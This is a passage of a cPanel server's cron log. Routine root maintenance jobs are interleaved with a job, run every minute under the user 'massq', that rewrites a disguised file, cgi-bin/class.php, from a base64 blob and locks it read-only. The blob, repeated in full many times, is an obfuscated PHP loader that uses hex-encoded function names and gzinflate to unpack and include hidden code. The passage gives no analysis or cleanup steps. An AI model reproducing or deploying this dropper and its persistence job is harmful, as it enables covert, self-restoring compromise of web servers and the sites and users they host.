ZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 06:34:01 server CROND[467]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 06:35:01 server CROND[533]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 06:35:01 server CROND[534]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 06:35:01 server CROND[535]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 06:35:01 server CROND[537]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  9 06:35:01 server CROND[536]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 06:36:01 server CROND[664]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 06:37:01 server CROND[724]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 06:38:01 server CROND[805]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 06:39:01 server CROND[980]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  9 06:39:01 server CROND[982]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 06:40:01 server CROND[1050]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 06:40:01 server CROND[1051]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 06:40:01 server CROND[1052]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 06:40:01 server CROND[1053]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 06:41:01 server CROND[1179]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 06:42:01 server CROND[1239]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 06:42:01 server CROND[1240]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 06:43:01 server CROND[1328]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 06:44:01 server CROND[1391]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 06:45:01 server CROND[1548]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 06:45:01 server CROND[1550]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 06:45:01 server CROND[1549]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 06:46:01 server CROND[1682]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 06:47:01 server CROND[1761]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7J